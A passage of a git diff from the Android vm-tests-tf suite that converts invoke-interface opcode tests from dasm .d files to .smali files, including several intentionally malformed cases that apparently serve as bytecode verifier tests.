-    invoke-interface {v8, v4, v5}, dot/junit/opcodes/invoke_interface/ITest/testArgsOrder(II)I
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.smali
new file mode 100644
index 0000000..54fc896
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_21.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 9
+
+    const-wide v4, 64
+    invoke-interface {v8, v4, v5}, Ldot/junit/opcodes/invoke_interface/ITest;->testArgsOrder(II)I
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.d
deleted file mode 100644
index 7c27ad2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_22.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_22
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       new-instance v0, dot/junit/opcodes/invoke_interface/ITestImpl
-
-       invoke-interface {v0}, dot/junit/opcodes/invoke_interface/ITest/doit()V
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.smali
new file mode 100644
index 0000000..d37aa30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_22.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_22;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+
+       new-instance v0, Ldot/junit/opcodes/invoke_interface/ITestImpl;
+
+       invoke-interface {v0}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault.smali
new file mode 100644
index 0000000..dd62766
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..9b63985
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/T_invoke_interface_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/T_invoke_interface_23.smali
new file mode 100644
index 0000000..4ab9ff9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/T_invoke_interface_23.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_23;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_23.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface {p0}, Ldot/junit/opcodes/invoke_interface/d/ITestDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault.smali
new file mode 100644
index 0000000..dd62766
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..9b63985
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..ed9a316
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/T_invoke_interface_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/T_invoke_interface_24.smali
new file mode 100644
index 0000000..895a1d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/T_invoke_interface_24.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_24;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_24.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface {p0}, Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/ITestDefault.smali
new file mode 100644
index 0000000..dd62766
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/T_invoke_interface_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/T_invoke_interface_25.smali
new file mode 100644
index 0000000..4575f23
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/T_invoke_interface_25.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_25;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_25.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface {p0}, Ldot/junit/opcodes/invoke_interface/d/ITestDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.d
deleted file mode 100644
index 44251bf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_3.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-       const/4 v1, 0
-       invoke-interface {v1}, dot/junit/opcodes/invoke_interface/ITest/doit()V
-       return-void
-.end method
\ No newline at end of file
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.smali
new file mode 100644
index 0000000..053b5cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_3.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       const/4 v1, 0
+       invoke-interface {v1}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       return-void
+.end method
\ No newline at end of file
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.smali
new file mode 100644
index 0000000..bb3a0b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_4;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-interface {p0}, Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_4;->test()V
+
+    return-void
+.end method
+
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.d
deleted file mode 100644
index adf7abe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.d
+++ /dev/null
@@ -1,28 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_5.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_5
-.super java/lang/Object
-
-
-.method public <init>(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 2
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       
-        invoke-interface {}, dot/junit/opcodes/invoke_interface/ITest/doit()V
-       
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.smali
new file mode 100644
index 0000000..3f77d2f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.smali
@@ -0,0 +1,28 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_5.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 2
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       
+        invoke-interface {}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.d
deleted file mode 100644
index c96f200..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_7.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 5
-
-       invoke-interface {v4}, dot/junit/opcodes/invoke_interface/ITest/doitN()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.smali
new file mode 100644
index 0000000..269cb9a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_7.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 5
+
+       invoke-interface {v4}, Ldot/junit/opcodes/invoke_interface/ITest;->doitN()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.d
deleted file mode 100644
index 8bf956e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_8.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface {v8, v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.smali
new file mode 100644
index 0000000..3a8b70a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_8.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v8, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.d
deleted file mode 100644
